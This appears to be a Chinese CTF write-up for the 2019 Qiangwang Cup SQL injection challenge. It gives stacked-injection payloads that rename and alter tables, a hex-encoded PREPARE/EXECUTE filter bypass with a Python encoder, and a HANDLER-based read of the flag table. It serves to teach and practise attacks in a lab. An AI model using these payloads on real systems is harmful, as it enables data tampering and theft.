[强网杯 2019]随便注

进去发现是字符 用‘ ’可以闭合 或者‘ %23
堆叠注入

查询表:show tables from ctftraining
查询列:show columns from words;

words列:
1919810931114514列:
发现 1919810931114514 有flag字样
更改两个表名试试

alter Table words rename to a;
alter Table `1919810931114514` rename to words;

这里学到一个新知识点,表名为数字时,要用反引号包起来查询。

不行报错
error 1054 : Unknown column ‘id’ in ‘where clause’
只能重启容器

需要把flag列名改成id
ALTER TABLE 1919810931114514 CHANGE flag id varchar(150);
再用上面的换表名

输入1’ or '1
最后出来flag
整理一下就是

1‘;ALTER TABLE `1919810931114514` CHANGE flag id varchar(150);alter Table words rename to a;alter Table%23 `1919810931114514` rename to words;
?inject=1' or '1

延伸想一下,如果跨库是否能先把表移动过来,再用相同方法实现
例如 ctftraining.FLAG_TABLE 移动过来

inject=1' ;show databases;rename table ctftraining.FLAG_TABLE to supersqli.b;%23

过滤了点,不成功

看上网上wp增加两个做法
参考:https://blog.csdn.net/qq_44657899/article/details/103239145
方法2
预处理语句
先将select * from 1919810931114514进行16进制编码
附上我写的转化代码

str="select * from `1919810931114514`"
print("0x",end="")
for i in str:
	h=hex(ord(i))
	print(h[2:],end="")

payload

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

使用这方法查询ctftraining.FLAG_TABLE 发现是空的

方法3

1'; handler `1919810931114514` open as `a`; handler `a` read next;#
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值